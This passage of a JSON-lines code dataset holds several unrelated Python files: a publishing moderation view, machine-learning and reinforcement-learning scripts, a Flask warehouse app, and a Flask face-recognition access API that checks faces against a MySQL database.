request_method='GET',\n accept=\"application/json\",\n renderer='json', permission='moderate', http_cache=0)\ndef get_moderation(request):\n \"\"\"Return the list of publications that need moderation.\"\"\"\n with db_connect() as db_conn:\n with db_conn.cursor() as cursor:\n cursor.execute(\"\"\"\\\nSELECT row_to_json(combined_rows) FROM (\n SELECT id, created, publisher, publication_message,\n (select array_agg(row_to_json(pd))\n from pending_documents as pd\n where pd.publication_id = p.id) AS models\n FROM publications AS p\n WHERE state = 'Waiting for moderation') AS combined_rows\"\"\")\n moderations = [x[0] for x in cursor.fetchall()]\n\n return moderations\n\n\n@view_config(route_name='moderate', request_method='POST',\n accept=\"application/json\", permission='moderate', http_cache=0)\ndef post_moderation(request):\n publication_id = request.matchdict['id']\n posted = request.json\n if 'is_accepted' not in posted \\\n or not isinstance(posted.get('is_accepted'), bool):\n raise httpexceptions.HTTPBadRequest(\n \"Missing or invalid 'is_accepted' value.\")\n is_accepted = posted['is_accepted']\n\n with db_connect() as db_conn:\n with db_conn.cursor() as cursor:\n if is_accepted:\n # Give the publisher moderation approval.\n cursor.execute(\"\"\"\\\nUPDATE users SET (is_moderated) = ('t')\nWHERE username = (SELECT publisher FROM publications\n WHERE id = %s and state = 'Waiting for moderation')\"\"\",\n (publication_id,))\n # Poke the publication into a state change.\n poke_publication_state(publication_id, cursor)\n else:\n # Reject! And Vacuum properties of the publication\n # record to /dev/null.\n cursor.execute(\"\"\"\\\nUPDATE users SET (is_moderated) = ('f')\nWHERE username = (SELECT publisher FROM publications\n WHERE id = %sand state = 'Waiting for moderation')\"\"\",\n (publication_id,))\n cursor.execute(\"\"\"\\\nUPDATE publications SET (epub, state) = (null, 'Rejected')\nWHERE id = %s\"\"\", (publication_id,))\n\n return httpexceptions.HTTPAccepted()\n\n\n@view_config(route_name='admin-moderation', request_method='GET',\n renderer=\"cnxpublishing.views:templates/moderations.html\",\n permission='moderate', http_cache=0)\n@view_config(route_name='moderation-rss', request_method='GET',\n renderer=\"cnxpublishing.views:templates/moderations.rss\",\n permission='view', http_cache=0)\ndef admin_moderations(request): # pragma: no cover\n return {'moderations': get_moderation(request)}\n","repo_name":"openstax/cnx-publishing","sub_path":"cnxpublishing/views/moderation.py","file_name":"moderation.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"43841613554","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nfrom main import main\nfrom src.losses import computeErrors\n\nclass Input():\n def __init__(self):\n self.dataset = 'beam_homog'\n self.verbose = False\n self.plot = False\n self.plot_show = False\n self.save_model = False\n self.save_fig = False\n self.model_dir = 'models/cross_validation'\n self.fig_dir = 'figures/cross_validation'\n\n # Data parameters\n self.random_test_data = True\n self.random_seed = 1\n self.split_size = 0.1\n self.manual_data = 0\n\n # Training parameters\n self.epochs = 5000\n self.batch_size = 600\n self.learning_rate = 1e-3\n self.reg = True\n self.reg_coef = 1e-4\n self.code_coef = 1e-3\n self.bias_ord = False\n self.bias_coef = 1\n\n self.early_stop_patience = 1000\n self.early_stop_tol = 0.1\n\n self.lr_epoch_milestone = [5000]\n self.lr_red_coef = 7e-1\n\n # Architecture parameters\n self.mode = 'standard'\n self.layers = [200, 100, 25]\n self.layers_mu = [50, 25]\n self.initialisation = 'kaiming_uniform'\n\n self.act_code = 'relu'\n self.act_hid = 'relu'\n self.act_out = 'sigmoid'\n self.alpha_relu = 0.5\n self.alpha_sigmoid = 0.5\n\n self.dropout = False\n self.dropout_prob = 0.1\n\n # Display parameters\n self.n_disp = 6\n\ndef getPlotName(epochs, reg, reg_coef, code_coef, layers, layers_mu):\n name = f\"_epochs{epochs}\"\n if reg:\n name += f\"_regCoef{reg_coef}\"\n name += f\"_codeCoef{code_coef}_archED\"\n for x in layers:\n name += f\"_{x}\"\n name += f\"_archP\"\n for x in layers_mu:\n name += f\"_{x}\"\n return name\n\nif __name__ == \"__main__\":\n\n args = Input()\n\n n_seeds = 5\n modes = ['standard', 'combined', 'parametric', 'staggered_img', 'staggered_code']\n e_std_L1 = [None]*n_seeds\n e_std_L2 = [None]*n_seeds\n e_comb_L1 = [None]*n_seeds\n e_comb_L2 = [None]*n_seeds\n e_param_L1 = [None]*n_seeds\n e_param_L2 = [None]*n_seeds\n e_stag_img_L1 = [None]*n_seeds\n e_stag_img_L2 = [None]*n_seeds\n e_stag_code_L1 = [None]*n_seeds\n e_stag_code_L2 = [None]*n_seeds\n \n seeds_rng = range(1, n_seeds+1)\n for seed in seeds_rng:\n for mode in modes:\n print(f'n_case: {seed}/{n_seeds}, mode: {mode}')\n args.mode = mode\n args.random_seed = seed\n out, data = main(args)\n\n e_L1, e_L2, _ = computeErrors(data.n_test, data.x_test[:,:,:,0], out)\n\n # Store\n if mode == 'standard':\n e_std_L1[seed-1] = e_L1*100\n e_std_L2[seed-1] = e_L2*100\n elif mode == 'combined':\n e_comb_L1[seed-1] = e_L1*100\n e_comb_L2[seed-1] = e_L2*100\n elif mode == 'parametric':\n e_param_L1[seed-1] = e_L1*100\n e_param_L2[seed-1] = e_L2*100\n elif mode == 'staggered_img':\n e_stag_img_L1[seed-1] = e_L1*100\n e_stag_img_L2[seed-1] = e_L2*100\n elif mode == 'staggered_code':\n e_stag_code_L1[seed-1] = e_L1*100\n e_stag_code_L2[seed-1] = e_L2*100\n \n # Compute average between all seeds\n e_std_L1_avg = np.average(e_std_L1)\n e_std_L2_avg = np.average(e_std_L2)\n e_comb_L1_avg = np.average(e_comb_L1)\n e_comb_L2_avg = np.average(e_comb_L2)\n e_param_L1_avg = np.average(e_param_L1)\n e_param_L2_avg = np.average(e_param_L2)\n e_stag_img_L1_avg = np.average(e_stag_img_L1)\n e_stag_img_L2_avg = np.average(e_stag_img_L2)\n e_stag_code_L1_avg = np.average(e_stag_code_L1)\n e_stag_code_L2_avg = np.average(e_stag_code_L2)\n\n # Plot results\n fig, ax = plt.subplots()\n plt.grid(axis='x', color='0.9')\n plt.scatter(seeds_rng, e_std_L1)\n plt.scatter(seeds_rng, e_comb_L1)\n plt.scatter(seeds_rng, e_param_L1)\n plt.scatter(seeds_rng, e_stag_img_L1)\n plt.scatter(seeds_rng, e_stag_code_L1)\n plt.ylabel('|in-out|_L1 / |in|_L1 [%]')\n plt.xlabel(\"# dataset's seed\")\n plt.ylim(0,120)\n ax.set_xticks(seeds_rng)\n ax.set_axisbelow(True)\n plt.legend(['Standard', 'Combined', 'Parametric', 'Staggered img', 'Staggered code'], loc='upper right')\n plt.plot(seeds_rng, [e_std_L1_avg]*n_seeds, '--r', zorder=0)\n plt.plot(seeds_rng, [e_comb_L1_avg]*n_seeds, '--r', zorder=0)\n plt.plot(seeds_rng, [e_param_L1_avg]*n_seeds, '--r', zorder=0)\n plt.plot(seeds_rng, [e_stag_img_L1_avg]*n_seeds, '--r', zorder=0)\n plt.plot(seeds_rng, [e_stag_code_L1_avg]*n_seeds, '--r', zorder=0)\n plt.text(1.1, e_std_L1_avg + 1, f\"Standard avg = {e_std_L1_avg:.2f}\", fontsize=9, color='r')\n plt.text(1.1, e_comb_L1_avg + 1, f\"Combined avg = {e_comb_L1_avg:.2f}\", fontsize=9, color='r')\n plt.text(1.1, e_param_L1_avg - 3, f\"Parametric avg = {e_param_L1_avg:.2f}\", fontsize=9, color='r')\n plt.text(1.1, e_stag_img_L1_avg - 3, f\"Staggered img avg = {e_stag_img_L1_avg:.2f}\", fontsize=9, color='r')\n plt.text(1.1, e_stag_code_L1_avg + 1, f\"Staggered code avg = {e_stag_code_L1_avg:.2f}\", fontsize=9, color='r')\n plt.savefig(f'{data.fig_path}/L1_{getPlotName(args.epochs, args.reg, args.reg_coef, args.code_coef, args.layers, args.layers_mu)}.png')\n\n fig, ax = plt.subplots()\n plt.grid(axis='x', color='0.9')\n plt.scatter(seeds_rng, e_std_L2)\n plt.scatter(seeds_rng, e_comb_L2)\n plt.scatter(seeds_rng, e_param_L2)\n plt.scatter(seeds_rng, e_stag_img_L2)\n plt.scatter(seeds_rng, e_stag_code_L2)\n plt.ylabel('|in-out|_L2 / |in|_L2 [%]')\n plt.xlabel(\"# dataset's seed\")\n plt.ylim(0,80)\n ax.set_xticks(seeds_rng)\n ax.set_axisbelow(True)\n plt.legend(['Standard', 'Combined', 'Parametric', 'Staggered img', 'Staggered code'], loc='upper right')\n plt.plot(seeds_rng, [e_std_L2_avg]*n_seeds, '--r', zorder=0)\n plt.plot(seeds_rng, [e_comb_L2_avg]*n_seeds, '--r', zorder=0)\n plt.plot(seeds_rng, [e_param_L2_avg]*n_seeds, '--r', zorder=0)\n plt.plot(seeds_rng, [e_stag_img_L2_avg]*n_seeds, '--r', zorder=0)\n plt.plot(seeds_rng, [e_stag_code_L2_avg]*n_seeds, '--r', zorder=0)\n plt.text(1.1, e_std_L2_avg + 1, f\"Standard avg = {e_std_L2_avg:.2f}\", fontsize=9, color='r')\n plt.text(1.1, e_comb_L2_avg + 1, f\"Combined avg = {e_comb_L2_avg:.2f}\", fontsize=9, color='r')\n plt.text(1.1, e_param_L2_avg - 3, f\"Parametric avg = {e_param_L2_avg:.2f}\", fontsize=9, color='r')\n plt.text(1.1, e_stag_img_L2_avg - 3, f\"Staggered img avg = {e_stag_img_L2_avg:.2f}\", fontsize=9, color='r')\n plt.text(1.1, e_stag_code_L2_avg + 1, f\"Staggered code avg = {e_stag_code_L2_avg:.2f}\", fontsize=9, color='r')\n plt.savefig(f'{data.fig_path}/L2_{getPlotName(args.epochs, args.reg, args.reg_coef, args.code_coef, args.layers, args.layers_mu)}.png')\n\n plt.show()\n","repo_name":"GuillemBarroso/autoencoder","sub_path":"run_cross_validation.py","file_name":"run_cross_validation.py","file_ext":"py","file_size_in_byte":6892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"27455656173","text":"import gym\nimport numpy as np\n\nfrom collections import deque\nfrom gym.spaces import Box\n\nfrom .img_sources import make_img_source\n\n\nclass CastObs(gym.ObservationWrapper):\n def __init__(self, env):\n super().__init__(env)\n if self.env.observation_space.dtype != np.uint8:\n self._observation_space = gym.spaces.Box(\n low=self.env.observation_space.low,\n high=self.env.observation_space.high,\n shape=self.env.observation_space.shape,\n dtype=np.float32,\n )\n\n def observation(self, observation):\n if observation.dtype != np.uint8:\n return observation.astype(np.float32)\n else:\n return observation\n\n\nclass TimeLimit(gym.Wrapper):\n # https://github.com/openai/gym/blob/0.23.0/gym/wrappers/time_limit.py\n def __init__(self, env, max_episode_steps=None):\n super().__init__(env)\n if max_episode_steps is None and self.env.spec is not None:\n max_episode_steps = env.spec.max_episode_steps\n if self.env.spec is not None:\n self.env.spec.max_episode_steps = max_episode_steps\n self._max_episode_steps = max_episode_steps\n self._elapsed_steps = None\n\n def step(self, action):\n observation, reward, done, info = self.env.step(action)\n self._elapsed_steps += 1\n if self._elapsed_steps >= self._max_episode_steps:\n info[\"TimeLimit.truncated\"] = not done\n done = True\n return observation, reward, done, info\n\n def reset(self, **kwargs):\n self._elapsed_steps = 0\n return self.env.reset(**kwargs)\n\n\nclass SparseReward(gym.Wrapper):\n def __init__(self, env):\n super().__init__(env)\n\n def step(self, action):\n obs, _, done, info = self.env.step(action)\n reward = float(info[\"success\"])\n return obs, reward, done, info\n\n\nclass ActionRepeat(gym.Wrapper):\n def __init__(self, env, action_repeat):\n super().__init__(env)\n self._action_repeat = action_repeat\n\n def step(self, action):\n total_reward = 0.0\n for _ in range(self._action_repeat):\n obs, reward, done, info = self.env.step(action)\n total_reward += reward\n if done:\n break\n return obs, total_reward, done, info\n\n\nclass NormalizeAction(gym.Wrapper):\n def __init__(self, env):\n super().__init__(env)\n # Only normalize bounded action dimensions\n space = env.action_space\n bounded = np.isfinite(space.low) & np.isfinite(space.high)\n self._action_space = Box(\n low=np.where(bounded, -1, space.low),\n high=np.where(bounded, 1, space.high),\n dtype=np.float32,\n )\n self._low = np.where(bounded, space.low, -1)\n self._high = np.where(bounded, space.high, 1)\n\n def step(self, action):\n orig_action = (action + 1) / 2 * (self._high - self._low) + self._low\n return self.env.step(orig_action)\n\n\nclass FrameStack(gym.Wrapper):\n def __init__(self, env, num_stack=1):\n super().__init__(env)\n self.num_stack = num_stack\n self.frames = deque(maxlen=self.num_stack)\n\n assert len(env.observation_space.shape) == 3\n width, height = env.observation_space.shape[1:]\n self._observation_space = Box(\n high=255,\n low=0,\n shape=(3 * self.num_stack, width, height),\n dtype=np.uint8,\n )\n\n @property\n def stacked_obs(self):\n assert len(self.frames) == self.num_stack\n return np.concatenate(self.frames, 0)\n\n def reset(self, **kwargs):\n obs = self.env.reset(**kwargs)\n [self.frames.append(obs) for _ in range(self.num_stack)]\n return self.stacked_obs\n\n def step(self, action):\n obs, reward, done, info = self.env.step(action)\n self.frames.append(obs)\n return self.stacked_obs, reward, done, info\n\n\nclass MetaWorldWrapper(gym.Wrapper):\n def __init__(self, env, pixel_obs=False):\n # Clear settings to use Metaworld environments as standalone tasks\n env.unwrapped._set_task_called = True\n env.unwrapped.random_init = False\n env.unwrapped.max_path_length = np.inf\n\n super().__init__(env)\n self._pixel_obs = pixel_obs\n self._camera = \"corner3\"\n self._resolution = 64\n if pixel_obs:\n img_shape = (3, self._resolution, self._resolution)\n self._observation_space = Box(\n low=0, high=255, shape=img_shape, dtype=np.uint8\n )\n\n def reset(self, **kwargs):\n state_obs = self.env.reset(**kwargs)\n if self._pixel_obs:\n obs = self.render(\"rgb_array\")\n else:\n obs = state_obs\n return obs\n\n def step(self, action):\n state_obs, reward, done, info = self.env.step(action)\n if self._pixel_obs:\n obs = self.render(\"rgb_array\")\n info[\"state_obs\"] = state_obs\n else:\n obs = state_obs\n return obs, reward, done, info\n\n def render(self, mode=\"rgb_array\"):\n if mode == \"rgb_array\":\n image = self.env.sim.render(\n camera_name=self._camera,\n width=self._resolution,\n height=self._resolution,\n depth=False,\n )\n return image.transpose(2, 0, 1).copy()\n else:\n return self.env.render(mode)\n\n\nclass FrankaWrapper(gym.Wrapper):\n def __init__(self, env, pixel_obs=False):\n super().__init__(env)\n self._pixel_obs = pixel_obs\n if not pixel_obs:\n state_obs = self.env._get_state()\n self._observation_space = Box(\n low=-np.inf,\n high=np.inf,\n shape=state_obs.shape,\n dtype=np.float32,\n )\n\n def reset(self, **kwargs):\n obs = self.env.reset(**kwargs)\n if not self._pixel_obs:\n obs = self.env._get_state()\n return obs\n\n def step(self, action):\n obs, reward, done, info = self.env.step(action)\n if not self._pixel_obs:\n obs = info[\"state_obs\"]\n return obs, reward, done, info\n\n\nclass MazeWrapper(gym.Wrapper):\n def __init__(self, env, pixel_obs, img_source, resource_files, total_frames):\n super().__init__(env)\n self._pixel_obs = pixel_obs\n self._img_source = img_source\n self._resolution = 64\n\n if pixel_obs:\n img_shape = (3, self._resolution, self._resolution)\n self._observation_space = Box(\n low=0, high=255, shape=img_shape, dtype=np.uint8\n )\n\n if img_source is not None:\n img_shape = (self._resolution, self._resolution)\n self._bg_source = make_img_source(\n src_type=img_source,\n img_shape=img_shape,\n resource_files=resource_files,\n total_frames=total_frames,\n grayscale=True,\n )\n\n def reset(self, **kwargs):\n state_obs = self.env.reset(**kwargs)\n if self._pixel_obs:\n obs = self._get_pixel_obs()\n else:\n obs = state_obs\n return obs\n\n def step(self, action):\n state_obs, reward, done, info = self.env.step(action)\n if self._pixel_obs:\n obs = self._get_pixel_obs()\n info[\"state_obs\"] = state_obs\n else:\n obs = state_obs\n return obs, reward, done, info\n\n def render(self, mode=\"rgb_array\"):\n return self.env.render(mode, width=self._resolution)\n\n def _get_pixel_obs(self):\n obs = self.render(\"rgb_array\")\n if self._img_source is not None:\n # Hardcoded mask for maze\n mask = np.logical_and(\n (obs[:, :, 2] > obs[:, :, 1]), (obs[:, :, 2] > obs[:, :, 0])\n )\n bg = self._bg_source.get_image()\n obs[mask] = bg[mask]\n obs = obs.transpose(2, 0, 1).copy()\n return obs\n","repo_name":"zchuning/repo","sub_path":"environments/wrappers.py","file_name":"wrappers.py","file_ext":"py","file_size_in_byte":8058,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"23152352716","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom __future__ import division\r\nimport numpy as np\r\nimport cv2\r\nimport pickle\r\nfrom net import ANet, CNet\r\nimport torch\r\nimport torch.nn.functional as F\r\nimport torch.nn as nn\r\n\r\n\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n# device = 'cpu'\r\n\r\n\r\nclass CriticNode11(nn.Module):\r\n def __init__(self):\r\n super(CriticNode11, self).__init__()\r\n # 定义完成功能所需的模�?\r\n self.actor = ANet().to(device)\r\n self.actor_target = ANet().to(device)\r\n self.actor_target.load_state_dict(self.actor.state_dict())\r\n self.critic = CNet().to(device)\r\n self.critic_target = CNet().to(device)\r\n self.critic_target.load_state_dict(self.critic.state_dict())\r\n # 要初始化网络,就注释掉load\r\n # 若要在之前的dict上训练,就加上load\r\n # self.load(\"dict/dict11\", \"criticDict\", \"actorDict\")\r\n\r\n self.discount = 0.99\r\n self.tau = 0.001\r\n self.actorDict = {}\r\n self.criticDict = {}\r\n print(\"初始化网络11完成\")\r\n\r\n def optimize(self, byteData):\r\n print(\"开始优化网络11...\")\r\n # -----------self.critic(data)----------------\r\n # to be modified: model.train()\r\n for _, sample in byteData.items():\r\n img = torch.FloatTensor(sample[\"lastImg\"]).unsqueeze(0).to(device)\r\n info = torch.FloatTensor(sample[\"lastInfo\"]).unsqueeze(0).to(device)\r\n action = torch.FloatTensor(sample[\"a\"]).to(device)\r\n img_next = torch.FloatTensor(sample[\"img\"]).unsqueeze(0).to(device)\r\n info_next = torch.FloatTensor(sample[\"info\"]).unsqueeze(0).to(device)\r\n reward = torch.FloatTensor(sample[\"r\"]).to(device)\r\n\r\n # Compute the target Q value\r\n target_Q = self.critic_target(img_next, info_next, self.actor_target(img_next, info_next))\r\n target_Q = reward + (self.discount * target_Q).detach()\r\n # print(\"target_Q\", target_Q)\r\n\r\n # Get current Q estimate\r\n current_Q = self.critic(img, info, action)\r\n # print(\"current_Q\", current_Q)\r\n\r\n # Compute critic loss and Optimize the critic\r\n critic_loss = F.mse_loss(current_Q, target_Q)\r\n # print(\"critic_loss\", critic_loss)\r\n self.critic.optimize(critic_loss)\r\n\r\n # Compute actor loss and Optimize the actor\r\n actor_loss = -self.critic(img, info, self.actor(img, info)).mean()\r\n # print(\"actor_loss\", actor_loss)\r\n self.actor.optimize(actor_loss)\r\n # -----------self.critic(data)----------------\r\n\r\n # 读取并保存神经网络参数\r\n self.actorDict = self.actor.state_dict()\r\n # print(\"actor网络参数已获取\", len(pickle.dumps(self.actorDict)))\r\n self.criticDict = self.critic.state_dict()\r\n torch.save(self.criticDict, \"{}/{}.dict\".format(\"dict/dict11\", \"criticDict\"))\r\n torch.save(self.actorDict, \"{}/{}.dict\".format(\"dict/dict11\", \"actorDict\"))\r\n\r\n # 更新target网络\r\n for param, target_param in zip(self.critic.parameters(), self.critic_target.parameters()):\r\n target_param.data.copy_(self.tau * param.data + (1 - self.tau) * target_param.data)\r\n\r\n for param, target_param in zip(self.actor.parameters(), self.actor_target.parameters()):\r\n target_param.data.copy_(self.tau * param.data + (1 - self.tau) * target_param.data)\r\n \r\n\r\n def load(self, directory, filenameC, filenameA):\r\n self.critic.load_state_dict(torch.load(\"{}/{}.dict\".format(directory, filenameC), map_location=device))\r\n self.actor.load_state_dict(torch.load(\"{}/{}.dict\".format(directory, filenameA), map_location=device))\r\n self.critic.eval()\r\n print(\"Critic网络参数已加载\")\r\n","repo_name":"SUPER-99/RL_car","sub_path":"电脑端/critic11.py","file_name":"critic11.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26856708844","text":"my_list = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"]\nmy_dict = {\"Sunday\": 1, \"Monday\": 2, \"Tuesday\": 3, \"Wednesday\": 4, \"Thursday\": 5, \"Friday\": 6, \"Saturday\": 7}\nmy_dict = {\"Sunday\": 1, \"Monday\": 2, \"Tuesday\": 3, \"Wednesday\": 4, \"Thursday\": 5, \"Friday\": 6, \"Saturday\": 7}\n\nkeys = list(my_dict.keys())\nvalues = list(my_dict.values())\n\nkeys.reverse()\nvalues.reverse()\n\nreversed_dict = dict(zip(keys, values))\n\nprint(reversed_dict)\n","repo_name":"spicyte/homework","sub_path":"home7.4.py","file_name":"home7.4.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22902271488","text":"from flask import Flask, render_template, request\nimport client\nimport sys\n\napp = Flask(__name__)\nwarehouse = client.Client()\nlocation = sys.argv[1]\nmy_address = sys.argv[2]\n\n@app.route('/')\ndef index():\n\treturn render_template('/page.html')\n\n@app.route('/send_itens', methods=['POST'])\ndef send_itens():\n\titens = request.get_json()\n\titens_map = {}\n\tfor item in itens.get('itens'):\n\t\titens_map.update({\n\t\t\titem.get('product'): {\n\t\t\t\t'quantity': int(item.get('quantity')),\n\t\t\t\t'price': float(item.get('price')),\n\t\t\t\t'tax': float(item.get('tax'))\n\t\t\t}\n\t\t})\n\tprint(itens_map)\n\twarehouse.update_servers(itens_map, location)\n\n\treturn 'got your message'\n\nif __name__ == '__main__':\n\t# warehouse.config(sys.argv[1], int(sys.argv[2]))\n\tapp.run(debug=True, host=my_address, port=5001)","repo_name":"mgalvc/distributed-ecommerce","sub_path":"warehouse/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73368855876","text":"from flask import Flask, request, abort, jsonify\nimport face_recognition\nimport mysql.connector\nfrom mysql.connector import Error\nimport json\nimport numpy as np\nimport config\nimport hashlib\n\n# Diese Flask-Rest-API bietet 3 Endpunkte an:\n# 1.Endpunkt: add -> Mit diesem Endpunkt werden Personen und ihr Gesicht hinzugefügt\n# 2.Endpunkt: check -> Ein Gesicht wird dahingehend überprüft, ob es Zugang erhalten darf oder nicht\n# 3.Endpunkt: delete -> Eine Person und all ihre Gesichter werden gelöscht\n\napp = Flask(__name__)\n\ndef checkApiKey(apikey):\n # Überprüfung ob der API gültig ist\n mydb = createDBCon()\n cursor = mydb.cursor()\n sql = \"SELECT count(*) FROM `valid_device` WHERE api_key = MD5(%s);\"\n val = apikey\n cursor.execute(sql, (val,))\n result = cursor.fetchone()\n cursor.close()\n mydb.close()\n if result[0] < 1:\n return False\n return True\n\n\ndef createDBCon():\n # DB Connection erstellen\n try:\n mydb = mysql.connector.connect(\n host=config.DBHost,\n user=config.DBUser,\n password=config.DBPassword,\n database=config.DBTable\n )\n return mydb\n except mysql.connector.Error as err:\n return False\n\n# Mit diesem Endpunkt können Personen und Gesichter hinzugefügt werden\n# Wenn eine Person bisher umbekannt ist wird ihre Person ebenfalls angelegt.\n# Falls die Person bereits bekannt ist wird nur ihr Gesicht hinzugefügt.\n# Pro Person können auch mehrere Gesichter hinzugefügt werden, um die Genauigkeit zu erhöhen\n# Es wird ein Hash Wert des Gesichtsstring in der DBTabelle gesichter_hash abgelegt. \n# Hiermit kann überprüft werden, ob Gesichtsdaten in der gesichter DBTabelle abgeändert worden sind. \n@app.route('/add', methods=['POST'])\ndef addImage():\n if not request.json or 'id' not in request.json or 'data' not in request.json or 'vorname' not in request.json or 'nachname' not in request.json or 'APIKEY' not in request.json:\n return jsonify({'Error': \"Postparameter sind unvollständig\" }), 400\n # APIKEY check\n if not checkApiKey(request.json['APIKEY']):\n return jsonify({'Error': \"APIKey ungültig\" }), 401\n # Json data to var\n id = request.json['id']\n data = request.json['data']\n vorname = request.json['vorname']\n nachname = request.json['nachname']\n\n # Create db con\n mydb = createDBCon()\n if not mydb:\n mydb.close()\n return jsonify({'Error': \"Datenbankverbindung konnte nicht hergestellt werden\" }), 500\n\n # Abfrage, ob es die Person schon gibt in der DB\n try:\n # Create db cursor\n cursor = mydb.cursor()\n # Ist User schon in der DB?\n sql = \"SELECT count(*) as count FROM personen WHERE id = %s\"\n val = id\n cursor.execute(sql, (val,))\n result = cursor.fetchone()\n except mysql.connector.Error as err:\n mydb.close()\n return jsonify({'Error': \"Persondendatenbank konnte nicht abgefragt werden\" }), 500\n \n # Wenn result[0] < 1 dann gibt es die Person noch nicht und sie wird angelegt\n if result[0] < 1:\n try:\n # Alle Daten zur Person zur DB hinzufügen\n cursor = mydb.cursor()\n sql = \"INSERT INTO personen (id,vorname,nachname) VALUES (%s,%s,%s)\"\n val = (id, vorname, nachname)\n cursor.execute(sql, val )\n mydb.commit()\n except mysql.connector.Error as err:\n mydb.close()\n return jsonify({'Error': \"Die Hinzufügung war der Person oder der Gesichter nicht erfolgreich\" }), 500\n \n # Gesichtsdaten hinzufügen\n try:\n # Alle Daten Gesicht und GesichtHash zur DB hinzufügen\n sql = \"INSERT INTO gesichter (person_id, data) VALUES (%s, %s)\"\n val = (id, data)\n cursor.execute(sql, val)\n sql = \"INSERT INTO `gesichter_hash` (`id`, `hash`) VALUES (%s, %s)\"\n val = (cursor.lastrowid, hashlib.md5(data.encode('utf-8')).hexdigest())\n cursor.execute(sql, val)\n mydb.commit()\n cursor.close()\n mydb.close()\n return jsonify({\"added\": True})\n except mysql.connector.Error as err:\n mydb.close()\n return jsonify({'Error': \"Die Hinzufügung war der Person oder der Gesichter nicht erfolgreich\" }), 500\n return jsonify({\"added\": False})\n\n# Ein Gesicht wird dahingehend überprüft, ob es Zugang erhalten darf oder nicht\n# Wenn ein Match gefunden worden ist, wird geprüft ob der Match durch abgeänderte Gesichtsdaten zustande kam. \n# Hierfür wird ein Hash der Gesichtsdaten erstellt und mit dem dazugehörigen Hash in der gesichter_hash DBTabelle abgeglichen \n@app.route('/check', methods=['POST'])\ndef checkImage():\n if not request.json or 'data' not in request.json or 'APIKEY' not in request.json:\n return jsonify({'Error': \"Postparameter sind unvollständig\" }), 400\n\n # APIKEY check \n if not checkApiKey(request.json['APIKEY']):\n return jsonify({'Error': \"APIKey ungültig\" }), 401\n\n # Json data to var\n data = request.json['data']\n\n ## Data to np array\n k = np.array(json.loads(data))\n\n # Create db con\n mydb = createDBCon()\n if not mydb:\n return jsonify({'Error': \"Datenbankverbindung konnte nicht hergestellt werden\" }), 500\n\n # Holen aller Gesichtsdaten, um mittels face_recognition.compare_faces die Gesichter zu vergleichen\n try:\n cursor = mydb.cursor()\n sql = \"SELECT CONVERT(data USING utf8), person_id, id FROM gesichter\"\n cursor.execute(sql)\n result = cursor.fetchall()\n except mysql.connector.Error as err:\n mydb.close()\n return jsonify({'Error': \"Datenbankfehler, bei abholen aller Gesichter\"}), 500\n\n # Wenn keine Gesichtsdaten in der DBTablelle sind kann sofort ein Fehler zurückgegeben werden\n if len(result) < 1:\n mydb.close()\n return jsonify({'Error': \"Aktuell sind keine Gesichter in der Datenbank\" }), 400\n \n # Jedes Gesicht aus der DB mit dem Gesicht aus dem Request abgleichen\n # Ingesamt ist dieser Part bei vielen Gesichtern nicht gerade performant \n for x in result:\n returnjson = json.loads(x[0])\n l = np.array(returnjson)\n match = face_recognition.compare_faces([l, l],k)\n \n if match[0]:\n # Überprüfe ob der Hash der Geischter noch übereinstimmt\n try:\n sql = \"SELECT count(*) FROM `gesichter` as a INNER JOIN gesichter_hash as b ON (MD5(CONVERT(a.data USING utf8)) = b.hash) WHERE a.id = %s\"\n cursor.execute(sql, (x[2], ))\n count = cursor.fetchone()\n except mysql.connector.Error as err:\n cursor.close()\n mydb.close()\n return jsonify({'Error': \"Datenbankfehler beim dem Abgleich der Gesichtsdaten\" }), 400\n \n # wenn der counter < 1 ist, wurde die Gesichtsdaten nachträglich abgeändert\n if count[0] < 1:\n cursor.close()\n mydb.close()\n return jsonify({'Error': \"Es wurden Gesichtsdaten abgeändert, um Zugriff zu erhalten!\" }), 400\n\n # Person zum passenden Gesicht raussuchen\n try:\n sql = \"SELECT vorname, nachname FROM personen WHERE id = %s\"\n cursor.execute(sql, (x[1],))\n resultPerson = cursor.fetchone()\n return json.dumps({'vorname': resultPerson[0], 'nachname': resultPerson[1], 'access': True})\n except mysql.connector.Error as err:\n mydb.close()\n return jsonify({'Error': \"Personendaten zu einem passenden Gesicht konnten nicht abgerufen werden\" }), 400\n mydb.close()\n return jsonify({'Error': \"Kein passenden Gesicht gefunden\" }), 400\n\n# Eine Person und all ihre Gesichter werden gel��scht\n# Die Person wird aus personen gelöscht.\n# Alle dazugeörigen Gesichter werden aus gesichter und gesichter_hash gelöscht\n@app.route('/delete', methods=['POST'])\ndef deletePerson():\n if not request.json or 'id' not in request.json or 'nachname' not in request.json or 'APIKEY' not in request.json:\n return jsonify({'Error': \"Postparameter sind unvollständig\" }), 400\n\n # APIKEY check \n if not checkApiKey(request.json['APIKEY']):\n return jsonify({'Error': \"APIKey ungültig\" }), 401\n\n # Json data to var\n id = request.json['id']\n nachname = request.json['nachname']\n\n # Create db con\n mydb = createDBCon()\n if not mydb:\n return jsonify({'Error': \"Datenbankverbindung konnte nicht hergestellt werden\" }), 500\n\n # Die zu löschende Person in der Datenbank suchen \n try:\n # Create db cursor\n cursor = mydb.cursor()\n sql = \"SELECT count(*) FROM personen WHERE id = %s AND nachname = %s\"\n cursor.execute(sql, (id, nachname))\n result = cursor.fetchone()\n except mysql.connector.Error as err:\n mydb.close()\n return jsonify({'Error': \"Datenbankfehler, bei der suche der zu löschenden Person\" }), 500\n\n if result[0] != 1:\n mydb.close()\n return 